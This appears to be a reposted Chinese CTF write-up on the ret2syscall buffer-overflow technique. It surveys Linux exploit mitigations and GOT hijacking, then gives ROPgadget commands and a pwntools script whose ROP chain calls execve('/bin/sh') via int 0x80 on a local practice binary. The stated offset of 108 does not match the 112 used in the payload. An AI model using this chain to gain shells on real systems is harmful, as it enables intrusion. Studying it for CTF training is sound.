欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

pwn ret2syscall

程序员文章站 2024-01-20 08:43:46
...

安全机制

ASLR(地址随机化)
PIE(加强版ASLR)
NX(数据段不可执行) ROP 系统调用
stack canary(栈溢出 写入校验值 ) stack smash 内存泄漏
RELRO got表

延迟绑定
plt 汇编代码 把真实地址放入got
got 表单 跳转到libc.so
利用方法:

  1. 劫持eip,改为system plt
  2. 任意地址写got表,改为system真实地址,相当于调用call system(Got表劫持)
  3. 泄露,如泄露got表,里面有printf地址,进而计算出libc地址,system

pwn ret2syscall

文件信息

pwn ret2syscall

安全方式

pwn ret2syscall

查看源码

pwn ret2syscall

确定偏移

cyclic 200
r
$cyclic -l caab
108
# 查找可存储寄存器的代码
ROPgadget --binary ret2syscall --only "pop|ret"|grep "eax"
ROPgadget --binary ret2syscall --only "pop|ret"|grep "ebx"

# 查找有int 0x80的地址
ROPgadget --binary ret2syscall --only "int"

# 查找字符串
ROPgadget --binary ret2syscall --string "/bin/sh"

pwn ret2syscall
pwn ret2syscall
pwn ret2syscall

pwn ret2syscall

exp

#!/usr/bin/env python
from pwn import *

sh = process('./ret2syscall')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
pause()
payload = "a"*112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)
sh.sendline(payload)
sh.interactive()

pwn ret2syscall

pwn ret2syscall

pwn ret2syscall

相关标签: 安全实践